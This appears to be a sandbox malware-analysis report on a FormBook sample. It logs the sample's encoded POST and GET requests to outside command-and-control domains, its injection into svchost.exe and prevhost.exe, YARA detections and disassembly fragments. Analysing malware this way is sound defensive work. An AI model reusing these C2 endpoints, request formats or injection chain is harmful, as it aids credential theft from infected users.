                                              Data Raw: 72 48 3d 58 44 70 51 38 6e 49 50 78 35 55 43 56 2b 32 46 35 47 36 52 51 6a 5a 4c 7a 31 46 47 63 6a 61 76 56 52 48 69 42 74 76 31 74 73 68 30 42 76 69 6f 78 4a 4a 38 71 44 73 6f 66 6b 66 44 73 43 66 6b 49 75 2b 54 67 39 69 6c 52 74 66 31 68 63 35 74 30 75 61 6a 33 33 79 2b 77 30 4c 79 4d 43 5a 38 55 4b 49 45 67 39 64 74 44 35 53 55 61 57 61 6f 41 6a 63 50 34 61 65 67 4d 32 44 30 58 5a 6e 58 31 52 62 54 49 75 61 66 6c 47 41 66 4f 6b 59 73 30 36 30 54 41 37 49 33 2f 78 67 52 44 55 50 7a 71 31 32 39 74 45 2f 43 59 68 4f 6f 56 59 6d 39 6b 67 35 77 71 41 65 35 79 72 65 32 42 4c 38 37 4f 5a 67 36 68 74 51 61 7a 79 56 79 45 69 42 49 64 71 31 6e 48 33 42 35 6c 65 71 71 74 65 4d 65 6c 39 4b 66 4e 65 7a 69 6e 64 45 79 6f 30 39 72 67 69 64 2b 73 6b 51 32 44 36 59 35 51 50 33 6d 79 51 74 37 62 70 6d 52 74 50 7a 32 53 6d 70 67 2f 70 48 72 64 65 63 36 54 68 46 37 63 72 2f 72 42 64 78 4a 62 74 53 35 34 2b 4f 53 50 49 6b 52 48 31 48 73 33 74 58 34 56 4b 4f 52 4b 44 59 4f 64 61 4a 38 46 36 6e 58 54 47 73 53 2f 79 69 [TRUNCATED]
                                              Data Ascii: rH=XDpQ8nIPx5UCV+2F5G6RQjZLz1FGcjavVRHiBtv1tsh0BvioxJJ8qDsofkfDsCfkIu+Tg9ilRtf1hc5t0uaj33y+w0LyMCZ8UKIEg9dtD5SUaWaoAjcP4aegM2D0XZnX1RbTIuaflGAfOkYs060TA7I3/xgRDUPzq129tE/CYhOoVYm9kg5wqAe5yre2BL87OZg6htQazyVyEiBIdq1nH3B5leqqteMel9KfNezindEyo09rgid+skQ2D6Y5QP3myQt7bpmRtPz2Smpg/pHrdec6ThF7cr/rBdxJbtS54+OSPIkRH1Hs3tX4VKORKDYOdaJ8F6nXTGsS/yi1bn9TpTKKQj1DNqqK8HhdSBJ61N098chlORgMaAOqt/bK+h6y9PO6mkj84oFCa0qDqGDyJ6Ag2C4Es6AFT/mynxn/G50wqL4ga6tGl4wbaJ1RXb94oS17WNOGqh8vPyN1L5OweRW3/RojpE8WsLAOfCyC4GyZBpvaT8Yx2jC6T1SMjnxmoTehXXDCLvNLRceStVc+xkgwNx4l4+XX7i16v3HEVjgR+dqOFF4NUHcC0pmP9ftt/S32FL0ASHJ+AL2Jlg/ifPun6nq78ZX6y+pWwbA5xLTe7XGppALaMO46djCokEa7xefkIdIUoTtDOf38o5ec+lvr1I/Rz8EBJeSxcX4YDBip+XKh/i8yg4vRL9RDfXD42qc0ZhJ1pb4LaDJKCDeixRTOz27dep8VsPMqI+f7CGpMQOqIoj9ap2QjV7joJpRyQzQpYTIxcfD+FTFvLE41/LY2XkiYoXfwr+jWEUObY0MQn0XWvpdUii3yGnod8om7FZ3uFi+GopJUGtHqTpvZoIvyCEqSt4ROFKRiNcIr6nfwcJA2kn/5SivO0mE4Zj8t/50SE1zTrP2Zkb/g51zNe0lEfAP7+8EtQsPW3fbT3L1XO4TCf1LaZb61iXqsKlCkwbpZ/PwfeY0bjEZBK4hzBww9lNsHfdIFA6CWY3sz5uvOmpBfv [TRUNCATED]
                                              Jan 11, 2025 06:57:09.157015085 CET488INHTTP/1.1 405 Method Not Allowed
                                              Connection: close
                                              Content-Length: 131
                                              Server: Varnish
                                              Retry-After: 0
                                              Accept-Ranges: bytes
                                              Date: Sat, 11 Jan 2025 05:57:09 GMT
                                              Via: 1.1 varnish
                                              X-Served-By: cache-ewr-kewr1740040-EWR
                                              X-Cache: MISS
                                              X-Cache-Hits: 0
                                              X-Timer: S1736575029.114956,VS0,VE0
                                              X-Fastly-Request-ID: 5f9ab3f71efbf5220a1697dca5de5227a310ce82
                                              Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                              Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center></body></html>


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              8192.168.2.849764185.199.111.153801492C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe
                                              TimestampBytes transferredDirectionData
                                              Jan 11, 2025 06:57:11.280333042 CET559OUTGET /o8v1/?rH=aBBw/QY72agee++wmgm8YU8t73l2MhHHcyuYQPaRiLcCJdiW+8Frjxd5MkTQnyD8TNGws+KrSP+UmrRcv8qZwA+PuH7WMxB8JK0VpuN0UbWNJH+NSjIQxL6KGx3qfMmdjQ==&B0=-V3pKrJ8iBXDb830 HTTP/1.1
                                              Host: www.pku-cs-cjw.top
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Language: en-US,en
                                              Connection: close
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Jan 11, 2025 06:57:11.742929935 CET815INHTTP/1.1 301 Moved Permanently
                                              Connection: close
                                              Content-Length: 162
                                              Server: GitHub.com
                                              Content-Type: text/html
                                              X-GitHub-Request-Id: 0AE5:3828BB:143257D:16D0802:67820832
                                              Accept-Ranges: bytes
                                              Date: Sat, 11 Jan 2025 05:57:11 GMT
                                              Via: 1.1 varnish
                                              Age: 0
                                              X-Served-By: cache-nyc-kteb1890037-NYC
                                              X-Cache: MISS
                                              X-Cache-Hits: 0
                                              X-Timer: S1736575032.687864,VS0,VE9
                                              Vary: Accept-Encoding
                                              X-Fastly-Request-ID: 8bfbaa4a3763465caee93ecae26511cface87e9b
                                              Location: http://pku-cs-cjw.top/o8v1/?rH=aBBw/QY72agee++wmgm8YU8t73l2MhHHcyuYQPaRiLcCJdiW+8Frjxd5MkTQnyD8TNGws+KrSP+UmrRcv8qZwA+PuH7WMxB8JK0VpuN0UbWNJH+NSjIQxL6KGx3qfMmdjQ==&B0=-V3pKrJ8iBXDb830
                                              Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                              Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              9192.168.2.849794104.21.112.1801492C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe
                                              TimestampBytes transferredDirectionData
                                              Jan 11, 2025 06:57:16.814249992 CET816OUTPOST /w7eo/ HTTP/1.1
                                              Host: www.vilakodsiy.sbs
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en
                                              Origin: http://www.vilakodsiy.sbs
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Cache-Control: max-age=0
                                              Content-Length: 203
                                              Referer: http://www.vilakodsiy.sbs/w7eo/
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 72 48 3d 78 35 4c 50 6c 37 68 77 65 38 48 5a 66 69 61 72 50 33 69 74 30 4e 49 36 6e 54 4b 37 31 4f 76 31 65 73 52 61 66 38 50 32 2b 35 6c 6e 37 71 45 38 41 4c 67 63 6e 72 78 77 30 72 34 63 35 37 35 47 54 38 73 48 4a 38 7a 39 71 49 4f 77 44 47 30 56 36 53 71 66 70 75 64 79 34 68 30 73 54 73 41 62 67 4d 58 52 53 53 79 4f 66 66 45 49 71 78 77 6f 74 5a 5a 33 4c 38 55 50 70 4f 5a 66 78 49 71 64 33 2b 59 76 56 70 42 2f 6d 44 78 32 78 70 4d 6a 4f 55 53 41 52 61 51 65 36 30 53 4e 4f 37 5a 36 70 31 70 59 47 61 6b 32 32 30 63 32 66 69 67 32 6f 63 6b 52 75 70 62 52 38 74 4c 32 78 6e 62 61 43 57 45 35 41 73 4d 3d
                                              Data Ascii: rH=x5LPl7hwe8HZfiarP3it0NI6nTK71Ov1esRaf8P2+5ln7qE8ALgcnrxw0r4c575GT8sHJ8z9qIOwDG0V6Sqfpudy4h0sTsAbgMXRSSyOffEIqxwotZZ3L8UPpOZfxIqd3+YvVpB/mDx2xpMjOUSARaQe60SNO7Z6p1pYGak220c2fig2ockRupbR8tL2xnbaCWE5AsM=


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              10192.168.2.849815104.21.112.1801492C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe
                                              TimestampBytes transferredDirectionData
                                              Jan 11, 2025 06:57:19.364330053 CET836OUTPOST /w7eo/ HTTP/1.1
                                              Host: www.vilakodsiy.sbs
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en
                                              Origin: http://www.vilakodsiy.sbs
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Cache-Control: max-age=0
                                              Content-Length: 223
                                              Referer: http://www.vilakodsiy.sbs/w7eo/
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 72 48 3d 78 35 4c 50 6c 37 68 77 65 38 48 5a 5a 43 4b 72 41 77 4f 74 38 4e 49 39 6a 6a 4b 37 2b 75 76 78 65 73 64 61 66 34 33 6d 39 50 56 6e 36 4f 49 38 42 4a 49 63 75 37 78 77 37 4c 35 57 39 37 35 50 54 38 6f 31 4a 2b 6e 39 71 49 71 77 44 48 45 56 36 6a 71 63 6f 2b 64 30 6a 52 30 75 58 73 41 62 67 4d 58 52 53 53 6e 54 66 66 4d 49 71 42 41 6f 75 38 74 30 43 63 55 4f 2b 2b 5a 66 31 49 71 6e 33 2b 5a 41 56 74 59 71 6d 42 5a 32 78 72 55 6a 50 42 2b 44 66 71 51 63 30 55 53 65 4b 4b 68 32 6f 79 6c 6c 61 4a 59 44 34 6e 67 49 65 55 52 63 79 2b 73 58 74 70 7a 36 38 75 6a 41 30 51 47 79 59 31 55 4a 65 37 62 69 77 68 43 45 48 48 2b 65 4c 55 7a 4b 32 4c 59 33 46 69 41 44
                                              Data Ascii: rH=x5LPl7hwe8HZZCKrAwOt8NI9jjK7+uvxesdaf43m9PVn6OI8BJIcu7xw7L5W975PT8o1J+n9qIqwDHEV6jqco+d0jR0uXsAbgMXRSSnTffMIqBAou8t0CcUO++Zf1Iqn3+ZAVtYqmBZ2xrUjPB+DfqQc0USeKKh2oyllaJYD4ngIeURcy+sXtpz68ujA0QGyY1UJe7biwhCEHH+eLUzK2LY3FiAD


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              11192.168.2.849831104.21.112.1801492C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe
                                              TimestampBytes transferredDirectionData
                                              Jan 11, 2025 06:57:21.912571907 CET1853OUTPOST /w7eo/ HTTP/1.1
                                              Host: www.vilakodsiy.sbs
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Encoding: gzip, deflate, br
                                              Accept-Language: en-US,en
                                              Origin: http://www.vilakodsiy.sbs
                                              Content-Type: application/x-www-form-urlencoded
                                              Connection: close
                                              Cache-Control: max-age=0
                                              Content-Length: 1239
                                              Referer: http://www.vilakodsiy.sbs/w7eo/
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                                              Data Raw: 72 48 3d 78 35 4c 50 6c 37 68 77 65 38 48 5a 5a 43 4b 72 41 77 4f 74 38 4e 49 39 6a 6a 4b 37 2b 75 76 78 65 73 64 61 66 34 33 6d 39 50 64 6e 37 37 55 38 4f 49 49 63 30 37 78 77 32 72 35 56 39 37 34 66 54 38 52 38 4a 2b 72 79 71 4f 75 77 46 68 34 56 34 52 53 63 6e 2b 64 30 72 78 30 72 54 73 41 72 67 4d 48 56 53 53 33 54 66 66 4d 49 71 43 59 6f 35 35 5a 30 41 63 55 50 70 4f 5a 44 78 49 72 49 33 2f 78 36 56 74 55 36 6e 78 35 32 77 4c 45 6a 44 58 4b 44 5a 36 51 61 33 55 54 44 4b 4c 63 6f 6f 79 52 58 61 49 74 59 34 6e 59 49 63 53 4a 66 6e 66 38 4f 34 59 71 46 31 4f 4b 6b 30 51 4b 71 53 48 42 2f 62 70 76 4d 33 42 53 55 45 47 4f 75 4f 48 71 43 68 73 51 67 44 46 56 6c 73 46 36 33 65 55 62 5a 6d 67 72 4e 7a 43 72 4d 35 65 4f 51 4a 5a 46 5a 38 69 63 56 34 58 6e 34 56 57 62 46 30 56 57 32 5a 67 2b 74 35 34 6b 52 43 78 64 38 45 6f 47 75 34 38 59 6b 37 58 35 30 44 7a 45 52 4b 76 46 4b 75 53 4c 4c 4e 70 44 71 59 4b 69 36 6b 37 67 2f 79 6c 6a 74 63 2b 56 39 67 79 63 70 36 39 70 45 62 44 4e 50 65 57 39 65 6f 4c 6f [TRUNCATED]
                                              Data Ascii: rH=x5LPl7hwe8HZZCKrAwOt8NI9jjK7+uvxesdaf43m9Pdn77U8OIIc07xw2r5V974fT8R8J+ryqOuwFh4V4RScn+d0rx0rTsArgMHVSS3TffMIqCYo55Z0AcUPpOZDxIrI3/x6VtU6nx52wLEjDXKDZ6Qa3UTDKLcooyRXaItY4nYIcSJfnf8O4YqF1OKk0QKqSHB/bpvM3BSUEGOuOHqChsQgDFVlsF63eUbZmgrNzCrM5eOQJZFZ8icV4Xn4VWbF0VW2Zg+t54kRCxd8EoGu48Yk7X50DzERKvFKuSLLNpDqYKi6k7g/yljtc+V9gycp69pEbDNPeW9eoLoIEJ5jeeHe3bx7c0GIU495sIXGapMRGH0Y2J2eszMoj2YG+QFjDyoKQ5irZph8mk/8lBOyolHADVmIPmun+IRio6yMl69sCXUpYCTqRW2JG6FMT6rxFpYRxmZ5xG+gDhypt1+qkJyvywOK12qU7dnpBlsFNfB+PSjquFaGHo5kLnkhzQzwbkmZ6nffnlwCMsjXLw2Aykn6MAu0VyRj0z6NUXmgkAvOj6f0qYZQuTZ7PXgIlwJ7fgHUdZcGJsNe4+B+uDkdb/aUDmWVrC6WS/oLH2dhnMIpzF0vLrv584e5voDFDi3QPh4gLj8ULOghcMJXZs92xlU+OXCHUIejEmmW7qkQR7fr2A//MO1ao2BYci0WYuCBSzXYDu4lUMnEqdA+XkzN23M2L1VIc/vlNaOao0z8jZEBc3ABWVvDtooW8PJIek3tdG/5jGcLhoWBXBGNEOwpP5FeDnfl8LjoPA7uhh7BahJb+0nvKmYQbyKeQLIIGEbz2tdItaG9pSaSX9AkmrDqNBoDQrtKRb/KQlJ0HrtdlGH/8prnUe7CA1oJwcHZwTNa1rnD79jTfJLiEWCl9Z2vICc3RiLxuMdVxMBU4fp5moxLYsoP3+GBd6OlmBwk7sKo2KkYPuQYBbb3gxX/7gWinZyff4q/rJR9hSsMSYBZ214kbWohj [TRUNCATED]


                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                              12192.168.2.849849104.21.112.1801492C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe
                                              TimestampBytes transferredDirectionData
                                              Jan 11, 2025 06:57:24.451792002 CET559OUTGET /w7eo/?rH=87jvmPBkWfHORTeDIH6vw6Iilw+7ldDVauNTJPGD6Y0g6pEQO5IgtLUhmq8D9IsvGok6fcDnqazXOW08rDaolct1438ccJEtgvb1cCvnPNMWlQI0o55REYR00vMG39XDrQ==&B0=-V3pKrJ8iBXDb830 HTTP/1.1
                                              Host: www.vilakodsiy.sbs
                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                                              Accept-Language: en-US,en
                                              Connection: close
                                              User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30


                                              Statistics

                                              CPU Usage

                                              Click to jump to process

                                              Memory Usage

                                              Click to jump to process

                                              High Level Behavior Distribution

                                              Click to dive into process behavior distribution

                                              Behavior

                                              Click to jump to process

                                              System Behavior

                                              General

                                              Target ID:0
                                              Start time:00:55:46
                                              Start date:11/01/2025
                                              Path:C:\Users\user\Desktop\fqbVL4XxCr.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Users\user\Desktop\fqbVL4XxCr.exe"
                                              Imagebase:0x290000
                                              File size:1'267'712 bytes
                                              MD5 hash:DE9333ECE029D6D329B5E46748163AB2
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Reputation:low
                                              Has exited:true

                                              General

                                              Target ID:2
                                              Start time:00:55:48
                                              Start date:11/01/2025
                                              Path:C:\Windows\SysWOW64\svchost.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Users\user\Desktop\fqbVL4XxCr.exe"
                                              Imagebase:0x5f0000
                                              File size:46'504 bytes
                                              MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                              Has elevated privileges:true
                                              Has administrator privileges:true
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1769882585.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1772742161.0000000006DA0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1770842704.00000000047E0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                              Reputation:high
                                              Has exited:true

                                              General

                                              Target ID:4
                                              Start time:00:56:13
                                              Start date:11/01/2025
                                              Path:C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe"
                                              Imagebase:0xf0000
                                              File size:140'800 bytes
                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2678354704.0000000002CE0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                              Reputation:high
                                              Has exited:false

                                              General

                                              Target ID:5
                                              Start time:00:56:14
                                              Start date:11/01/2025
                                              Path:C:\Windows\SysWOW64\prevhost.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Windows\SysWOW64\prevhost.exe"
                                              Imagebase:0xb70000
                                              File size:24'064 bytes
                                              MD5 hash:79FED29A7F3DF4BA67599EFF3CDB4F1A
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Yara matches:
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2676002365.00000000003A0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2678720361.00000000042B0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.2678938866.0000000004300000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                              Reputation:moderate
                                              Has exited:false

                                              General

                                              Target ID:6
                                              Start time:00:56:27
                                              Start date:11/01/2025
                                              Path:C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe
                                              Wow64 process (32bit):true
                                              Commandline:"C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe"
                                              Imagebase:0xf0000
                                              File size:140'800 bytes
                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Reputation:high
                                              Has exited:false

                                              General

                                              Target ID:10
                                              Start time:00:56:40
                                              Start date:11/01/2025
                                              Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                              Wow64 process (32bit):false
                                              Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                              Imagebase:0x7ff6d20e0000
                                              File size:676'768 bytes
                                              MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                              Has elevated privileges:false
                                              Has administrator privileges:false
                                              Programmed in:C, C++ or other language
                                              Reputation:high
                                              Has exited:true

                                              Disassembly

                                              Reset < >

                                                Execution Graph

                                                Execution Coverage:3%
                                                Dynamic/Decrypted Code Coverage:1%
                                                Signature Coverage:5%
                                                Total number of Nodes:1838
                                                Total number of Limit Nodes:41
                                                execution_graph 95203 291cad SystemParametersInfoW 95204 2d2ba5 95205 2d2baf 95204->95205 95206 292b25 95204->95206 95238 293a5a 95205->95238 95232 292b83 7 API calls 95206->95232 95210 2d2bb8 95245 299cb3 95210->95245 95213 292b2f 95219 292b44 95213->95219 95236 293837 49 API calls ___scrt_fastfail 95213->95236 95214 2d2bc6 95215 2d2bce 95214->95215 95216 2d2bf5 95214->95216 95251 2933c6 95215->95251 95217 2933c6 22 API calls 95216->95217 95221 2d2bf1 GetForegroundWindow ShellExecuteW 95217->95221 95224 292b5f 95219->95224 95237 2930f2 Shell_NotifyIconW ___scrt_fastfail 95219->95237 95226 2d2c26 95221->95226 95229 292b66 SetCurrentDirectoryW 95224->95229 95226->95224 95231 292b7a 95229->95231 95230 2933c6 22 API calls 95230->95221 95269 292cd4 7 API calls 95232->95269 95234 292b2a 95235 292c63 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 95234->95235 95235->95213 95236->95219 95237->95224 95270 2d1f50 95238->95270 95241 299cb3 22 API calls 95242 293a8d 95241->95242 95272 293aa2 95242->95272 95244 293a97 95244->95210 95246 299cc2 _wcslen 95245->95246 95247 2afe0b 22 API calls 95246->95247 95248 299cea __fread_nolock 95247->95248 95249 2afddb 22 API calls 95248->95249 95250 299d00 95249->95250 95250->95214 95252 2933dd 95251->95252 95253 2d30bb 95251->95253 95350 2933ee 95252->95350 95255 2afddb 22 API calls 95253->95255 95257 2d30c5 _wcslen 95255->95257 95256 2933e8 95260 296350 95256->95260 95258 2afe0b 22 API calls 95257->95258 95259 2d30fe __fread_nolock 95258->95259 95261 296362 95260->95261 95262 2d4a51 95260->95262 95365 296373 95261->95365 95375 294a88 22 API calls __fread_nolock 95262->95375 95265 29636e 95265->95230 95266 2d4a5b 95267 2d4a67 95266->95267 95376 29a8c7 95266->95376 95269->95234 95271 293a67 GetModuleFileNameW 95270->95271 95271->95241 95273 2d1f50 __wsopen_s 95272->95273 95274 293aaf GetFullPathNameW 95273->95274 95275 293ae9 95274->95275 95276 293ace 95274->95276 95298 29a6c3 95275->95298 95286 296b57 95276->95286 95279 293ada 95282 2937a0 95279->95282 95283 2937ae 95282->95283 95304 2993b2 95283->95304 95285 2937c2 95285->95244 95287 2d4ba1 95286->95287 95288 296b67 _wcslen 95286->95288 95289 2993b2 22 API calls 95287->95289 95291 296b7d 95288->95291 95292 296ba2 95288->95292 95290 2d4baa 95289->95290 95290->95290 95349 296f34 22 API calls 95291->95349 95293 2afddb 22 API calls 95292->95293 95295 296bae 95293->95295 95297 2afe0b 22 API calls 95295->95297 95296 296b85 __fread_nolock 95296->95279 95297->95296 95299 29a6dd 95298->95299 95300 29a6d0 95298->95300 95301 2afddb 22 API calls 95299->95301 95300->95279 95302 29a6e7 95301->95302 95303 2afe0b 22 API calls 95302->95303 95303->95300 95305 2993c0 95304->95305 95307 2993c9 __fread_nolock 95304->95307 95305->95307 95308 29aec9 95305->95308 95307->95285 95309 29aedc 95308->95309 95313 29aed9 __fread_nolock 95308->95313 95314 2afddb 95309->95314 95311 29aee7 95324 2afe0b 95311->95324 95313->95307 95317 2afde0 95314->95317 95316 2afdfa 95316->95311 95317->95316 95319 2afdfc 95317->95319 95334 2bea0c 95317->95334 95341 2b4ead 7 API calls 2 library calls 95317->95341 95320 2b066d 95319->95320 95342 2b32a4 RaiseException 95319->95342 95343 2b32a4 RaiseException 95320->95343 95323 2b068a 95323->95311 95326 2afddb 95324->95326 95325 2bea0c ___std_exception_copy 21 API calls 95325->95326 95326->95325 95327 2afdfa 95326->95327 95330 2afdfc 95326->95330 95346 2b4ead 7 API calls 2 library calls 95326->95346 95327->95313 95329 2b066d 95348 2b32a4 RaiseException 95329->95348 95330->95329 95347 2b32a4 RaiseException 95330->95347 95333 2b068a 95333->95313 95339 2c3820 _abort 95334->95339 95335 2c385e 95345 2bf2d9 20 API calls _abort 95335->95345 95336 2c3849 RtlAllocateHeap 95338 2c385c 95336->95338 95336->95339 95338->95317 95339->95335 95339->95336 95344 2b4ead 7 API calls 2 library calls 95339->95344 95341->95317 95342->95320 95343->95323 95344->95339 95345->95338 95346->95326 95347->95329 95348->95333 95349->95296 95351 2933fe _wcslen 95350->95351 95352 2d311d 95351->95352 95353 293411 95351->95353 95355 2afddb 22 API calls 95352->95355 95360 29a587 95353->95360 95356 2d3127 95355->95356 95358 2afe0b 22 API calls 95356->95358 95357 29341e __fread_nolock 95357->95256 95359 2d3157 __fread_nolock 95358->95359 95361 29a59d 95360->95361 95364 29a598 __fread_nolock 95360->95364 95362 2df80f 95361->95362 95363 2afe0b 22 API calls 95361->95363 95363->95364 95364->95357 95366 296382 95365->95366 95372 2963b6 __fread_nolock 95365->95372 95367 2d4a82 95366->95367 95368 2963a9 95366->95368 95366->95372 95370 2afddb 22 API calls 95367->95370 95369 29a587 22 API calls 95368->95369 95369->95372 95371 2d4a91 95370->95371 95373 2afe0b 22 API calls 95371->95373 95372->95265 95374 2d4ac5 __fread_nolock 95373->95374 95375->95266 95377 29a8db 95376->95377 95379 29a8ea __fread_nolock 95376->95379 95378 2afe0b 22 API calls 95377->95378 95377->95379 95378->95379 95379->95267 95380 292de3 95381 292df0 __wsopen_s 95380->95381 95382 292e09 95381->95382 95383 2d2c2b ___scrt_fastfail 95381->95383 95384 293aa2 23 API calls 95382->95384 95386 2d2c47 GetOpenFileNameW 95383->95386 95385 292e12 95384->95385 95396 292da5 95385->95396 95387 2d2c96 95386->95387 95389 296b57 22 